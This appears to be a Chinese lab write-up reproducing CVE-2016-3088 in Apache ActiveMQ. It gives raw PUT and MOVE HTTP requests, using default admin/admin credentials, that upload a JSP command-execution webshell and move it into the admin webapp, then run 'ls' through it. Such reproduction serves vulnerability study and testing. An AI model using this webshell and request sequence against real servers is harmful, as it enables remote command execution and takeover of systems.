漏洞描述
- 漏洞编号:CVE-2016-3088
- 影响版本:Apache ActiveMQ 5.x~5.14.0
https://www.cvedetails.com/cve/CVE-2016-3088/
3.漏洞产生原因:ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
漏洞复现
环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递,浏览器访问http://192.168.21.130:8161/,如下图可以看到成功搭建环境。默认的用户名/密码为admin/admin
登录admin账号:默认账号admin/admin,抓包进行修改,使用PUT方法上传文件。ActiveMQ Web控制台分为三个应用程序:其中admin,api和fileserver,其中admin是管理员页面,api是界面,fileserver是用于存储文件的界面;admin和api需要先登录才能使用,fileserver不需要登录。
首先要知道绝对路径在哪:
访问http://your ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:
上传jsp文件(Response报文状态码204表示上传成功)
PUT /fileserver/6.jsp HTTP/1.1 Host: 192.168.177.137:8161 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: JSESSIONID=18wws8yzr1a04iz9gfpkkar3p Authorization: Basic YWRtaW46YWRtaW4= X-Forwarded-For: 8.8.8.8 Connection: close Content-Length: 329 <%@ page import="java.io.*"%> <% out.print("Hello</br>"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"</br>"); } %>
接下来通过move方法,将木马文件移动到api或者admin:
MOVE /fileserver/6.jsp HTTP/1.1 Destination:file:///opt/apache-activemq-5.11.1/webapps/admin/7.jsp Host: 192.168.177.137:8161 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: JSESSIONID=18wws8yzr1a04iz9gfpkkar3p Authorization: Basic YWRtaW46YWRtaW4= X-Forwarded-For: 8.8.8.8 Connection: close Content-Length: 329 <%@ page import="java.io.*"%> <% out.print("Hello</br>"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"</br>"); } %>
接下来访问木马:http://192.168.217.130/7.jsp?cmd=ls
上图可以看到成功解析!